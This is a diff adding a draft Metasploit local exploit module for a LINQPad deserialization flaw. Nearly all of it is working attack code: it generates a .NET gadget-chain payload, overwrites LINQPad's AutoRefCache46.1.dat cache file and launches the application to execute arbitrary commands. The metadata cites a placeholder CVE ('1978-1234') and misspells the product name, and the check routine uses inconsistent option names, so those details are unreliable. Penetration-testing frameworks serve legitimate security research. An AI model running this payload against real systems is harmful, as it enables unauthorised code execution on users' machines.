LINQPad module init

modules/exploits/windows/local/linqpad_deserialization.rb

@@ -0,0 +1,85 @@
+##
+# This module requires Metasploit: https://metasploit.com/download
+# Current source: https://github.com/rapid7/metasploit-framework
+##
+
+class MetasploitModule < Msf::Exploit::Local
+  Rank = NormalRanking # https://docs.metasploit.com/docs/using-metasploit/intermediate/exploit-ranking.html
+
+  # includes file?, directory?
+  include Msf::Post::File
+
+  # includes generate
+  include Msf::Util::DotNetDeserialization
+
+  def initialize(info = {})
+    super(
+      update_info(
+        info,
+        # The Name should be just like the line of a Git commit - software name,
+        # vuln type, class. Preferably apply
+        # some search optimization so people can actually find the module.
+        # We encourage consistency between module name and file name.
+        'Name' => 'LINQPad Deserialization Exploit',
+        'Description' => %q{
+          This module exploits a bug in LIQPad up to version 5.48.00. The bug is only exploitable in paid version of software. The core of a bug is cache file containing deserialized data, which attacker can overwrite with malicious payload. The data gets deserialized every time the app restarts.
+        },
+        'License' => MSF_LICENSE,
+        'Author' => [
+          'msutovsky-r7 <martin_sutovsky@rapid7.com>',
+          'James Williams' # original research
+        ],
+        'Platform' => 'win',
+        'SessionTypes' => [ 'shell', 'meterpreter' ],
+        'Targets' => [[ 'Windows', { 'Arch' => ARCH_CMD } ]],
+        # 'Privileged' => true,
+        'References' => [
+          [ 'URL', 'https://trustedsec.com/blog/discovering-a-deserialization-vulnerability-in-linqpad'],
+          [ 'CVE', '1978-1234']
+        ],
+        'DisclosureDate' => '2024-12-03',
+        'DefaultTarget' => 0,
+        # https://docs.metasploit.com/docs/development/developing-modules/module-metadata/definition-of-module-reliability-side-effects-and-stability.html
+        'Notes' => {
+          'Stability' => [CRASH_SAFE],
+          'Reliability' => [REPEATABLE_SESSION],
+          'SideEffects' => [ARTIFACTS_ON_DISK]
+        }
+      )
+    )
+    register_options([
+      OptString.new('LINQPad_path', [true, "Path to LINQPad executable on target's machine", "C:\Users\ms\AppData\Local\LINQPad"]),
+      OptString.new('Cache_path', [true, 'Path to cache file directory containing deserialized data'])
+    ])
+  end
+
+  # Simplify pulling the writable directory variable
+
+  def check
+    if datastore['LINQPad_path'].blank? || !file?(datastore['LINQPad_path'])
+      return Exploit::CheckCode::Unknown('LINQPad binary not specified or doesn\'t exist')
+    elsif datastore['Cache_path'].blank? || !directory?(datastore['Cache_path']) || !file?(datastore['cache_path'] + '/autorefcache46.1.dat')
+      return Exploit::CheckCode::Unknown('Cache directory doesn\'t exist')
+    elsif !file?(datastore['cache_path'] + '/autorefcache46.1.dat')
+      return Exploit::CheckCode::Unknown('Cannot find cache file')
+    elsif file?(datastore['cache_path'] + '/autorefcache46.2.dat')
+      return Exploit::CheckCode::Safe('Contains not vulnerable version of LINQPad')
+    else
+      return Exploit::CheckCode::Vulnerable('LINPad and vulnerable cache file present, target possibly exploitable')
+    end
+  end
+
+  def exploit
+    # generate payload
+    dotnet_payload = ::Msf::Util::DotNetDeserialization.generate(
+      payload.encoded, # this is the Operating System command to run
+      gadget_chain: :TextFormattingRunProperties,
+      formatter: :LosFormatter
+    )
+    # try to overwrite cache file
+    fail_with(Failure::PayloadFailed, 'Writing payload to cache file failed') unless write_file(datastore['Cache_path'] + '/AutoRefCache46.1.dat', dotnet_payload)
+
+    # run LINQPad and trigger deserialization
+    fail_with(Failure::PayloadFailed, 'Running LINQPad failed') unless cmd_exec(datastore['LINQPad_path'])
+  end
+end